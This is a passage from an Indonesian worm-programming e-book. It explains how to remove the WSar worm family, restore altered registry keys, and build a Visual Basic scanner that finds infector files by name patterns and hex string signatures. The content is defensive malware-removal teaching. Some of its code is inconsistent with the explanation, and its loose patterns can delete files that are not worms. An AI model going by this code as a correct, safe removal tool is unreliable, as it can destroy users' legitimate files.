Setelah itu mengatur nilai variabel MainFile1 dengan path direktori System Windows dan menambahkan string "\" serta menambahkan nilai dari variabel WSarLast. Procedure kemudian mengatur nilai text pada txtPath dengan penggabungan dari path direktori System Windows.

Karakter "\" dan nilai variabel WSarName yang telah di trim, kemu-dian mengatur nilai variabel MainFile2 dengan nilai text dari txtPath dan memberinya tambahan string ".exe" sebagai ekstensi.

Procedure ini kemudian menghentikan proses file yang mengacu pada nilai variabel WSarLast dan proses file yang mengacu pada penggabungan nilai variabel WSarName dan string ".exe", kemudian menampilkan kotak pesan "WSar.9 found! And will be removed".

Instruksi dilanjutkan dengan menghapus file yang mengacu pada nilai variabel MainFile1 dan MainFile2. Procedure ini juga langsung menghapus nilai yang mengacu pada nilai variabel WSarName pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\W indows\CurrentVersion\Run", kemudian menghapus pada key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-rentVersion" dengan nilai "ProductNo" dan "ProductCode".

Procedure kemudian memeriksa kembali file yang mengacu pada nilai variabel MainFile2, jika ditemukan maka menampilkan kotak pesan "WSar.9 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, sebaliknya jika tidak ditemukan maka procedure menampil-kan kotak pesan "WSar.9 succesfully removed".

Page 66: Computer Worm 2-eBook

55Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Procedure ReConfig memanipulasi nilai registry dengan mengatur nilai "DisableRegistryTools" pada key "HKEY_CU RRENT_USER\Soft-ware\Microsoft\Windows\CurrentVersion\Policies\System" dengan nilai 0, mengatur nilai default pada key "HKEY_CLASSES_ROOT\reg-file\shell\open\command" dengan string; regedit "%1" (dalam hal ini penulis masih menggunakan fungsi Chr ), kemudian menghapus nilai "NeverShowExt" pada key "HKEY_CLASSES_ROOT\exef ile".

Instruksi dilanjutkan dengan menghapus file "WSar9.ico" pada direktori Windows, mengatur nilai default pada key "HKEY_CLASSES_ROOT\exefile\DefaultIcon" dengan data: %1 kemudian mengembalikan nilai default pada subkey "DefaultIcon" untuk masing-masing key registry yang mengacu pada pengaturan icon My Documents, My Computer, My Network Place dan Recycle Bin.

Page 67: Computer Worm 2-eBook
Page 68: Computer Worm 2-eBook

57Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

BAB 2INFECTOR FILE REMOVAL

Kenapa bab ini ada?

Melanjutkan bab sebelumnya, bab ini akan menjelaskan trik untuk memberantas file infector. Walaupun file launcher suatu worm sudah dibersihkan namun jika ada file infector yang masih bercokol pada media storage, maka sewaktu-waktu sistem terancam untuk tertular kembali.

Page 69: Computer Worm 2-eBook

58Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Tahap pembersihan file infector adalah tahap pembersihan untuk file worm yang didistribusi dan bertujuan untuk menginfeksi system komputer yang belum tertular. Umumnya worm lokal

di Indonesia memanfaatkan media removable disk (termasuk disket) untuk mendistribusikan file-nya. File worm yang dikirim lewat fasilitas jaringan dan internet juga merupakan file infector.

Ada banyak trik dalam melakukan scanning file infector untuk known worm (worm yang sudah dikenal/diketahui sebelumnya), antara lain:

1. File name scanning2. File size scanning3. File attribute scanning 4. Create date/time scanning5. CRC scanning6. File description scanning7. Product name scanning8. Company name scanning9. File version scanning10. String scanning.

Data-data yang diperiksa dari trik scanning tersebut disebut dengan istilah signature. Trik tersebut masing-masing memiliki pendekatan yang berbeda dan tidak semuanya memiliki tingkat akurasi yang tinggi.

Untuk itu penulis akan memberikan 3 contoh trik scanning yang paling sering digunakan oleh program antivirus, namun sebelumnya berikut ini adalah project default WSar Infector Removal yang akan digunakan untuk setiap contoh program infector file removal.

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'SimpleWormRemover’, dan Application Title menjadi 'Simple Worm Remover’, Tambahkan 4 buah object Label, 4 buah object CommandButton, 2 buah object ListBox, 1 buah object TextBox dan 2 buah object Line, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Page 70: Computer Worm 2-eBook

59Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object Form1

Jenis Nilai KeteranganName FrmRemoval Mengatur nama form menjadi FrmRemoval

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

BorderStyle Fixed Single Mengatur jenis border form menjadi fixed (tetap)

Caption Simple Worm Remover

Mengatur titel yang akan ditampilkan pada form

Height 5385 Mengatur tinggi form

Icon (Icon) Pilih icon yang akan digunakan pada form, FrmRemoval menggunakan icon sun.ico

MaxButton False Tidak menampilkan tombol maximize

MinButton False Tidak menampilkan tombol minimize

StartUp-Position

2 - Center Screen

Menempatkan jendela form ditengah layar pada saat load.

Width 6105 Mengatur lebar form

Properti object Label1

Jenis Nilai KeteranganAllignment 2 - Center Mengatur jenis perataan menjadi rata

tengah

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption WSar Infector Removal

Mengganti caption Label1 dari Label1 menjadi WSar Infector Removal

Font Font: MS San SerifFont Style: BoldSize: 24

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 24

ForeColor &H00808080& Mengatur warna huruf menjadi abu-abu

Height 615 Mengatur tinggi Label

Left 150 Mengatur jarak Label dari kiri

Top 150 Mengatur jarak Label dari atas

Width 5800 Mengatur lebar Label

Page 71: Computer Worm 2-eBook

60Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Properti object Label2

Jenis Nilai KeteranganAllignment 2 - Center Mengatur jenis perataan menjadi rata

tengah

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption WSar Infector Removal

Mengganti caption Label menjadi WSar Infector Removal

Font Font: MS San SerifFont Style: BoldSize: 24

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 24

ForeColor &H00FFFFFF& Mengatur warna huruf menjadi putih

Height 615 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 120 Mengatur jarak Label dari atas

Width 5800 Mengatur lebar Label

Properti object Label3

Jenis Nilai KeteranganName lblStatus Mengatur nama Label menjadi lblStatus

BackStyle 0 - Transparant Mengatur latar belakang menjadi transparan

Caption Kosongkan caption dengan menghapus caption default Label3

ForeColor &H00FF0000& Mengatur warna huruf menjadi biru

Height 495 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 3750 Mengatur jarak Label dari atas

Width 5775 Mengatur lebar Label

WordWrap True Membenarkan text pada Label wraping pada border

Page 72: Computer Worm 2-eBook

61Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object Label4

Jenis Nilai KeteranganName lblWait Mengatur nama Label menjadi lblWait

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption Please Wait … Mengganti caption Label dari Label1 menjadi Please Wait …

Font Font: MS San SerifFont Style: BoldSize: 12

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 12

ForeColor &H000080FF& Mengatur warna huruf menjadi jingga

Height 375 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 4440 Mengatur jarak Label dari atas

Visible False Menyembunyikan lblWait saat run-time

Width 1935 Mengatur lebar Labe

Properti object Command1

Jenis Nilai KeteranganName cmdBrowse Mengatur nama Command Button menjadi

cmdBrowse

Caption Browse Mengatur caption Command Button menjadi Browse

Height 285 Mengatur tinggi Command Button

Left 5040 Mengatur jarak Command Button dari kiri

Top 840 Mengatur jarak Command Button dari atas

Width 855 Mengatur lebar Command Button

Page 73: Computer Worm 2-eBook

62Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Properti object Command2

Jenis Nilai KeteranganName cmdScan Mengatur nama Command Button menjadi cmdScan

Caption Scan Mengatur caption Command Button menjadi Scan

Height 375 Mengatur tinggi Command Button

Left 4950 Mengatur jarak Command Button dari kiri

Top 4440 Mengatur jarak Command Button dari atas

Width 975 Mengatur lebar Command Button

Properti object Command3

Jenis Nilai KeteranganName cmdStop Mengatur nama Command Button menjadi cmdStop

Caption Stop Mengatur caption Command Button menjadi Stop

Height 375 Mengatur tinggi Command Button

Left 3975 Mengatur jarak Command Button dari kiri

Top 4440 Mengatur jarak Command Button dari atas

Width 975 Mengatur lebar Command Button

Properti object Command4

Jenis Nilai KeteranganName cmdDelete Mengatur nama Command Button menjadi cmd-

Delete

Caption Delete Mengatur caption Command Button menjadi Delete

Height 375 Mengatur tinggi button

Left 3000 Mengatur jarak Command Button dari kiri

Top 4440 Mengatur jarak Command Button dari atas

Width 975 Mengatur lebar Command Button

Page 74: Computer Worm 2-eBook

63Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object List1

Jenis Nilai KeteranganName lstFound Mengatur nama ListBox menjadi lstFound

Appearance 0 - Flat Tampilan diatur pada mode datar

ForeColor &H000000FF& Mengatur warna huruf menjadi merah

Height 2370 Mengatur tinggi ListBox

Left 120 Mengatur jarak ListBox dari kiri

MultiSelect 2 - Extended Mengatur metode seleksi pada mode Extended

Top 1320 Mengatur jarak ListBox dari atas

Width 5775 Mengatur lebar ListBox

Properti object List2

Jenis Nilai KeteranganName lstSignature Mengatur nama ListBox menjadi lstSignature

Height 255 Mengatur tinggi ListBox

Left 2520 Mengatur jarak ListBox dari kiri

Top 4440 Mengatur jarak ListBox dari atas

Visible False Menyembunyikan ListBox saat run-time

Width 375 Mengatur lebar ListBox

Properti object Text1

Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath

Appearance 0 - Flat Tampilan diatur pada mode datar

Height 285 Mengatur tinggi TextBox

Left 120 Mengatur jarak TextBox dari kiri

Locked True Tidak mengijinkan perubahan data text secara manual

Top 840 Mengatur jarak TextBox dari atas

Width 4815 Mengatur lebar TextBox

Page 75: Computer Worm 2-eBook

64Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Properti Object Line1

Jenis Nilai KeteranganX1 120 Posisi garis pada koordinat X untuk point 1

X2 5880 Posisi garis pada koordinat X untuk point 2

Y1 1200 Posisi garis pada koordinat Y untuk point 1

Y2 1200 Posisi garis pada koordinat Y untuk point 2

Properti Object Line2

Jenis Nilai KeteranganX1 120 Posisi garis pada koordinat X untuk point 1

X2 5880 Posisi garis pada koordinat X untuk point 2

Y1 4320 Posisi garis pada koordinat Y untuk point 1

Y2 4320 Posisi garis pada koordinat Y untuk point 2

Berikut ini adalah tampilan default WSar Infector Removal saat form di-load :

Page 76: Computer Worm 2-eBook

65Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

2.1 FILE NAME SCANNINGFile Name Scanning adalah metode pencarian yang dilakukan dengan melakukan pencocokan nama file dengan data signature. Data signa-ture bisa berupa nama file lengkap maupun berupa suatu pola yang diperoleh dari nama file worm tersebut.

2.1.1 ALGORITMA1. Jika pengguna mengklik tombol Scan maka program melakukan

pemeriksaan terhadap semua file executable pada drive dan direktori yang ditentukan oleh pengguna. Proses scanning dapat sewaktu-waktu dihentikan pengguna dengan meng-click tombol Stop

2. Jika nama file yang terperiksa memiliki nama file atau pola nama yang sama pada data signature, maka path dan nama file tersebut di tambahkan pada sebuah ListBox

3. Pengguna dapat menghapus file yang ada pada ListBox dengan mengklik ganda nama file tersebut pada ListBox atau menyeleksi file-file yang akan dihapus kemudian mengklik tombol Delete.

2.1.2 PEMROGRAMANTambahkan 2 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlBrowseFolder Mengatur nama module menjadi mdl-

BrowseFolder

Properti Module2

Jenis Nilai KeteranganName mdlFindFile Mengatur nama module menjadi mdlFindFile

Page 77: Computer Worm 2-eBook

66Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Ketik kode program berikut ini pada module mdlBrowseFolder:

Option Explicit On

Private Type BrowseInfolngHwnd As LongpIDLRoot As LongpszDisplayName As LonglpszTitle As LongulFlags As LonglpfnCallback As LonglParam As LongiImage As LongEnd TypePrivate Const BIF_RETURNONLYFSDIRS = 1Private Const MAX_PATH = 260Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem _ As Long)Private Declare Function lstrcat Lib "Kernel32" Alias "lstrcatA" _ (ByVal lpString1 As String, ByVal lpString2 As String) As LongPrivate Declare Function SHBrowseForFolder Lib "Shell32" (ByVal lpbi _ As BrowseInfo) As LongPrivate Declare Function SHGetPathFromIDList Lib "Shell32" _ (ByVal pidList As Long, ByVal lpBuffer As String) As Long

Public Function BrowseForFolder(ByVal strPrompt As String) As _ String On Error GoTo ehBrowseForFolder Dim intNull As Integer Dim lngIDList As Long, lngResult As Long Dim strPath As String Dim udtBI As BrowseInfo With udtBI .lngHwnd = 0 .lpszTitle = lstrcat(strPrompt, "") .ulFlags = BIF_RETURNONLYFSDIRS End With lngIDList = SHBrowseForFolder(udtBI) If lngIDList <> 0 ThenstrPath = String(MAX_PATH, 0) lngResult = SHGetPathFromIDList(lngIDList, strPath) Call CoTaskMemFree(lngIDList) intNull = InStr(strPath, vbNullChar) If intNull > 0 Then strPath = Left(strPath, intNull - 1) End If End If BrowseForFolder = strPath Exit FunctionehBrowseForFolder: BrowseForFolder = EmptyEnd Function

Page 78: Computer Worm 2-eBook

67Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Ketik kode program berikut ini pada module mdlFindFile:

Option Explicit OnGlobal StopIt As Boolean

Public Function FindFiles(ByVal MyPath As String, ByVal MyWild As _String, ByVal Signature As ListBox, ByVal SizeLimit As Long, ByVal _MyList As ListBox, _ByVal MyLabel As Label) Dim filename As String Dim DirName As String Dim dirNames() As String Dim nDir As Integer Dim i As Integer On Error GoTo FileERR If StopIt = True Then GoTo FileERR If Len(MyPath) = 0 Then Exit Function If Right(MyPath, 1) <> "\" Then MyPath = MyPath & "\" nDir = 0 ReDim dirNames(nDir) DirName = Dir(MyPath, vbDirectory Or vbHidden) Do While Len(DirName) > 0 If (DirName <> ".") And (DirName <> "..") Then If GetAttr(MyPath & DirName) And vbDirectory Then dirNames(nDir) = DirName nDir = nDir + 1 ReDim Preserve dirNames(nDir) End IfFileERRCont: End If DirName = Dir() Loop filename = Dir(MyPath & MyWild, vbNormal Or vbHidden Or _ vbReadOnly) Do While Len(filename) <> 0 FindFiles = FindFiles + FileLen(MyPath & filename) MyLabel.Caption = MyPath & filename DoEvents() If FileLen(MyPath & filename) < SizeLimit Then For i = 0 To Signature.ListCount - 1 If filename Like Signature.List(i) Then MyList.AddItem(MyPath & filename) End If Next i End If filename = Dir() Loop If nDir > 0 Then For i = 0 To nDir - 1 FindFiles = FindFiles + FindFiles(MyPath & dirNames(i) & "\", _ MyWild, Signature, SizeLimit, MyList, MyLabel) Next i End IfFileERR:End Function

Page 79: Computer Worm 2-eBook

68Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Ketik kode program berikut ini pada object frmRemoval:

'WSar Infector Removal (Name) by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() lblStatus.Caption = "#Infector Removal - Name Scanner# Waitin" & _ "g for instruction..."End Sub

Private Sub cmdBrowse_Click() Dim brwVal As String brwVal = BrowseForFolder("Select Drive And Directory:") If Len(brwVal) > 0 Then txtPath.Text = brwVal End IfEnd Sub

Private Sub cmdDelete_Click() On Error Resume Next Dim i As Integer If lstFound.SelCount = 0 Then MsgBox("No file selected", vbCritical) Else Do Until lstFound.SelCount = 0 For i = 0 To lstFound.ListCount If lstFound.Selected(i) = True Then SetAttr(lstFound.List(i), vbNormal) Kill(lstFound.List(i)) lstFound.RemoveItem(i) End If Next Loop End If UpdateStatus()End Sub

Private Sub cmdStop_Click() StopIt = TrueEnd Sub

Private Sub Form_Unload(ByVal Cancel As Integer) StopIt = False EndEnd Sub

Private Sub lstFound_Click() lblStatus.Caption = lstFound.TextEnd Sub

Private Sub lstFound_DblClick() On Error Resume Next cmdDelete_Click()End Sub

Page 80: Computer Worm 2-eBook

69Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Private Sub UpdateStatus() lblStatus.Caption = "Total worm found: " & lstFound.ListCountEnd Sub

Private Sub cmdScan_Click() On Error Resume Next Dim xmount As String cmdScan.Enabled = False lstFound.Enabled = False If Mid(txtPath.Text, 2, 2) <> ":\" Then MsgBox("Path file not found", vbCritical) GoTo ProcError End If lstFound.Clear() Dim WormLike(6) As String WormLike(0) = "Game Collection.exe" 'WSar.1 WormLike(1) = "rindu.exe" 'WSar.2 WormLike(2) = "*.doc .exe" 'WSar.3, WSar.8, WSar.9 WormLike(3) = "*.jpg .exe" 'WSar.4 WormLike(4) = "*.zip .exe" 'WSar.5 WormLike(5) = "*..exe" 'WSar.6 WormLike(6) = "*txt .exe" 'WSar.7 lstSignature.Clear() Dim i As Integer For i = 0 To 6 lstSignature.AddItem(WormLike(i)) Next i StopIt = False lblWait.Visible = True FindFiles(txtPath.Text, "*.exe", lstSignature, 50000, lstFound, _ lblStatus) If lstFound.ListCount > 1 Then xmount = " files." Else xmount = " file." End If MsgBox("Scan progress finished, found " & lstFound.ListCount & _ xmount, vbInformation) UpdateStatus() lstFound.Enabled = TrueProcError: cmdScan.Enabled = True lblWait.Visible = FalseEnd Sub

Berikut penjelasan tentang kode program, dan untuk selanjutnya procedure yang telah dijelaskan tidak diberikan lagi, kecuali beberapa bagian yang menurut penulis perlu untuk diulang kembali:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "#Infector Removal - Name Scanner# Waiting for instruction..."

Page 81: Computer Worm 2-eBook

70Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Procedure cmdBrowse_Click akan aktif saat user meng-click tombol Browse dengan memanggil function BrowseForFolder dari module mdlBrowseFolder dan mengembalikan nilai berupa path direktori kemudian menyimpannya pada properti Text dari object txtPath.

Procedure cmdDelete_Click akan aktif saat user mengklik tombol Delete. Jika tidak ada item terseleksi pada object lstFound maka me-nampilkan kotak pesan "No file selected", namun jika ada item yang terseleksi maka untuk setiap item terseleksi, procedure mengatur atributnya menjadi Normal, mengapus file sehubungan dengan item tersebut kemudian menghapusnya dari list, terakhir mengeksekusi procedure UpdateStatus.

Procedure cmdStop_Click akan aktif saat user mengklik tombol Stop dan mengatur nilai variabel StopIt menjadi true. Hal ini berkaitan den-gan function FindFiles pada module mdlFindFile yang akan memberi isyarat untuk menghentikan proses function tersebut.

Procedure Form_Unload akan aktif saat user mengakhiri form yang berarti pula mengakhiri program, mengatur variabel StopIt menjadi true kemudian mengakhiri proses program, hal ini untuk mencegah proses dari function FindFiles berlanjut saat program dihentikan.

Procedure lstFound_Click secara sederhana akan menampilkan text lstFound pada object lblStatus saat user mengklik salah satu item dari object lstFound.

Procedure lstFound_DblClick akan tereksekusi saat user mengklik ganda salah satu item dari object lstFound, dengan memanggil proce-dure cmdDelete_Click dan mengakibatkan terhapusnya file berkaitan dengan item yang terklik tersebut.

Procedure UpdateStatus akan mengatur caption pada lblStatus dengan teks "Total worm found:" dan dilanjutkan dengan jumlah item yang ada pada ListBox lstFound.

Procedure cmdScan_Click akan aktif saat user mengklik tombol Scan. Men-disable tombol Scan, Men-disable object lstFound, jika karakter ke-2 dan ke-3 pada txtPath bukan string ":\" maka menampilkan kotak pesan "Path file not found" kemudian lompat ke baris 'ProcError’.

Page 82: Computer Worm 2-eBook

71Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Namun jika benar string ":\" maka mengosongkan data pada lstFound, membuat array WormLike sebanyak 6 data, mengosongkan data pada lstSignature dan mengisinya dengan setiap data yang ada pada array WormLike, mengatur variabel StopIt menjadi false, menampilkan ob-ject lblWait, mengeksekusi function FindFiles dengan mengisi variabel MyPath dengan data pada txtPath, mengisi variabel MyWild dengan string "*.exe", mengisi variabel Signature dengan lstSignature, mengisi variabel SizeLimit dengan 50000, mengatur variabel MyList dengan lstFound, mengatur variabel MyLabel dengan lblStatus.

Jika jumlah item pada lstFound lebih dari 1 maka mengatur nilai varia-bel xmount menjadi " files." jika tidak maka mengatur nilai variabel xmount menjadi " file.".

Procedure kemudian menampilkan pesan "Scan progress finished, found " dan melanjutkannya dengan nilai jumlah item pada lstFound, dan nilai pada variabel xmount, kemudian memanggil procedure UpdateS-tatus, mengatur object lstFound menjadi enable, mengatur tombol Scan menjadi enable dan menyembunyikan object lblWait.

Module mdlBrowseFolder berisi beberapa function API yang disusun menjadi suatu function sehingga menjadi lebih mudah untuk digunakan, function ini digunakan untuk menampilkan kotak dialog Browse Folder, dalam hal ini untuk menentukan drive atau direktori utama yang akan digunakan dalam proses scanning.

Module mdlFindFile berisi function FindFiles. Function ini memiliki sintaksis sebagai berikut:

FindFiles MyPath, MyWild, Signature, SizeLimit, MyList, MyLabel

Function FindFiles melakukan pencarian pada drive dan direktori yang ada pada variabel MyPath. Pencarian dilakukan untuk nama file yang ada pada variabel MyWild.

Jika file yang dicari sehubungan dengan variabel MyWild tadi ditemu-kan maka file-file yang ditemukan tersebut dicocokan dengan setiap nama file atau pola nama yang ada pada variabel Signature.

Jika file yang ditemukan ternyata cocok maka file tersebut ditambah-kan pada ListBox pada variabel MyList, namun sebelumnya setiap file yang diperiksa hanya dilewatkan jika berukuran lebih besar dari nilai yang terkandung pada variabel SizeLimit dan setiap file yang diperiksa ditampilkan pada Label yang berkaitan dengan variabel MyLabel.

Page 83: Computer Worm 2-eBook

72Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

2.1.3 SIGNATUREPada File Name Scanning, data signature bisa berupa nama file atau hanya berupa suatu pola nama, contohnya kita bisa menggunakan nama file "rindu.exe" jika worm menggunakan nama tersebut sebagai file infector-nya, atau kita bisa menggunakan pola nama "*.exe" yang artinya semua file yang dibelakangnya memiliki string ".exe" atau juga berarti untuk semua file executable, karena 3 karakter yang berada di-belakang nama file dan didepannya memiliki sebuah tanda titik maka hal ini dikenali system sebagai suatu ekstensi.

Tentunya Anda harus lebih spesifik dalam menentukan pola nama yang akan dijadikan signature, karena jika hanya menggunakan pola nama "*.exe" maka semua file executable akan dianggap sebagai worm.

Cara termudah dalam menentukan pola nama yang akan dijadikan file signature adalah dengan mengumpulkan semua nama file infector kemudian mencari persamaan nama file infector tersebut. Jika Anda sudah terbiasa menggunakan wildcards pada perintah DOS, penulis kira Anda tidak akan mengalami kesulitan dalam membuat suatu pola nama file. Berikut ini adalah contoh pemberian pola nama untuk data signature:

Nama File Pola Namatawar.exebarak.exegadai.exe

?a?a?.exe (jumlah karakter pada nama file adalah 5, huruf ke-2 dan ke-4 adalah "a" dan di akhiri dengan ".exe")

belang.doc.exekerja. jpg.exemerah.gif .exe

?e*.*.exe (huruf ke-2 adalah "e", setelah itu mengandung karakter "." dan kemudian berakhiran ".exe")

hacker.execracker.comphreaker.bat

*ker.??? (nama file berakhiran "ker." dan diikuti dengan 3 karakter sembarang)

Page 84: Computer Worm 2-eBook

73Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

2.2 STRING SCANNINGString Scanning adalah metode pencarian yang dilakukan dengan melakukan pencocokan suatu kumpulan karakter pada data signature dengan isi file.

2.2.1 ALGORITMA1. Jika pengguna mengklik tombol Scan maka program melakukan

pemeriksaan terhadap semua file executable pada drive dan direktori yang ditentukan oleh pengguna. Proses scanning dapat sewaktu-waktu dihentikan pengguna dengan mengklik tombol Stop

2. Jika file yang terperiksa memiliki string yang sama pada data signa-ture, maka path dan nama file tersebut di tambahkan pada sebuah ListBox

3. Pengguna dapat menghapus file yang ada pada ListBox dengan mengklik ganda nama file tersebut pada ListBox atau menyeleksi file-file yang akan dihapus kemudian mengklik tombol Delete.

2.2.2 PEMROGRAMANTambahkan 2 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlBrowseFolder Mengatur nama module menjadi mdl-

BrowseFolder

Properti Module2

Jenis Nilai KeteranganName mdlFindFile Mengatur nama module menjadi mdlFindFile

Page 85: Computer Worm 2-eBook

74Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Untuk module mdlBrowseFolder Anda bisa menggunakan module yang sama pada WSar Infector Removal (Name), kemudian ketik kode program berikut ini pada module mdlFindFile.

Option Explicit OnGlobal StopIt As BooleanPublic Function FindFiles(ByVal MyPath As String,ByVal MyWild As String, _ByVal Signature As ListBox, ByVal SizeLimit As Long, ByVal MyList As

ListBox, _ByVal MyLabel As Label) Dim filename As String Dim DirName As String Dim dirNames() As String Dim nDir As Integer Dim i As Integer On Error GoTo FileERR If StopIt = True Then GoTo FileERR If Len(MyPath) = 0 Then Exit Function If Right(MyPath, 1) <> "\" Then MyPath = MyPath & "\" nDir = 0 ReDim dirNames(nDir) DirName = Dir(MyPath, vbDirectory Or vbHidden) Do While Len(DirName) > 0 If (DirName <> ".") And (DirName <> "..") Then If GetAttr(MyPath & DirName) = vbDirectory Or vbHidden Or _ vbReadOnly Or vbSystem Then dirNames(nDir) = DirName nDir = nDir + 1 ReDim Preserve dirNames(nDir) End If End If DirName = Dir() Loop filename = Dir(MyPath & MyWild, vbNormal Or vbHidden Or _ vbReadOnly) Do While Len(filename) <> 0 FindFiles = FindFiles + FileLen(MyPath & filename) MyLabel.Caption = MyPath & filename DoEvents() If FileLen(MyPath & filename) > SizeLimit Then GoTo limitz For i = 0 To Signature.ListCount - 1 If StrCheck(MyPath & filename, hex2ascii(Signature.List(i))) = _ True Then MyList.AddItem(MyPath & filename) End If Next ilimitz: filename = Dir() Loop If nDir > 0 Then For i = 0 To nDir - 1 FindFiles = FindFiles + FindFiles(MyPath & dirNames(i) & "\", _ MyWild, Signature, SizeLimit, MyList, MyLabel) Next i End IfFileERR:End Function

Page 86: Computer Worm 2-eBook

75Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Function StrCheck(ByVal MyPath As String, ByVal StrText As String) _As Boolean On Error Resume Next Dim filedata As String Dim a As Integer Open MyPath For Binary As #1 filedata = Space$(LOF(1)) Get #1, , filedata If InStr(1, filedata, StrText) > 0 Then StrCheck = True Else StrCheck = False End If Close #1End Function

Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim Value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) Value = Value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = ValueEnd Function

Ketik kode program berikut ini pada object frmRemoval:

'WSar Infector Removal (String) by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() lblStatus.Caption = "#Infector Removal - String Scanner# Waiti" & _ "ng for instruction..."End Sub

Private Sub cmdBrowse_Click() Dim brwVal As String brwVal = BrowseForFolder("Select Drive And Directory:") If Len(brwVal) > 0 Then txtPath.Text = brwVal End IfEnd Sub

Page 87: Computer Worm 2-eBook

76Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Private Sub cmdDelete_Click() On Error Resume Next Dim i As Integer If lstFound.SelCount = 0 Then MsgBox("No file selected", vbCritical) Else Do Until lstFound.SelCount = 0 For i = 0 To lstFound.ListCount If lstFound.Selected(i) = True Then SetAttr(lstFound.List(i), vbNormal) Kill(lstFound.List(i)) lstFound.RemoveItem(i) End If Next Loop End If UpdateStatus()End Sub

Private Sub cmdStop_Click() StopIt = TrueEnd Sub

Private Sub Form_Unload(ByVal Cancel As Integer) StopIt = False EndEnd Sub

Private Sub lstFound_Click() lblStatus.Caption = lstFound.TextEnd Sub

Private Sub lstFound_DblClick() On Error Resume Next cmdDelete_Click()End Sub

Private Sub UpdateStatus() lblStatus.Caption = "Total worm found: " & lstFound.ListCountEnd Sub

Private Sub cmdScan_Click() On Error Resume Next Dim xmount As String cmdScan.Enabled = False lstFound.Enabled = False If Mid(txtPath.Text, 2, 2) <> ":\" Then MsgBox("Path file not found", vbCritical) GoTo ProcError End If lstFound.Clear() Dim WormStr(8) As String 'sample byte 2464 to 2473 from compressed worm WormStr(0) = "5F385F52C997B0C95FA0" 'WSar.1 WormStr(1) = "4C564235217CC226ECF0" 'WSar.2

Page 88: Computer Worm 2-eBook

77Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

